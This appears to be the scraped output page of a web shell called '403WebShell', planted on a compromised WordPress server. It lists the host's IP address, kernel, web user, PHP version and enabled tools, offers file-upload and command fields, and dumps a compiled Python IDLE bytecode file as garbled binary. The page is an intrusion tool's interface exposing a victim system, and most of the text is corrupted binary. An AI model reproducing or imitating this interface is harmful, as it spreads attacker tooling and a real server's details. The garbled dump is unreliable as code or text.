WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 18.193.92.211  /  Your IP : 216.73.216.24
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux ip-10-0-0-90 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/core/current/usr/lib/python3.5/idlelib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/core/current/usr/lib/python3.5/idlelib/__pycache__/RstripExtension.cpython-35.pyc


H�i�@sNdZGdd�d�ZedkrJddlZejdddd	d
�dS)z=Provides "Strip trailing whitespace" under the "Format" menu.c@s@eZdZddd	gfgZdd�Zddd�ZdS)
�RstripExtension�formatN�Strip trailing whitespace�
<<do-rstrip>>cCs&||_|jjjd|j�dS)Nz
<<do-rstrip>>)�editwin�textZbind�	do_rstrip)�selfr�r	�-/usr/lib/python3.5/idlelib/RstripExtension.py�__init__s	zRstripExtension.__init__c	Cs�|jj}|jj}|j�tt|jd���}xytd|�D]h}|jd|d|�}t	|�}t	|j
��}||krM|jd||fd|�qMW|j�dS)N�end�z%i.0z%i.endz%i.%i)
rr�undoZundo_block_start�int�float�index�range�get�len�rstripZdeleteZundo_block_stop)	rZeventrrZend_lineZcurZtxt�rawZcutr	r	r
rs
"zRstripExtension.do_rstrip)rr)�__name__�
__module__�__qualname__Zmenudefsrrr	r	r	r
rsr�__main__�Nzidlelib.idle_test.test_rstrip�	verbosity��exitF)�__doc__rrZunittest�mainr	r	r	r
�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit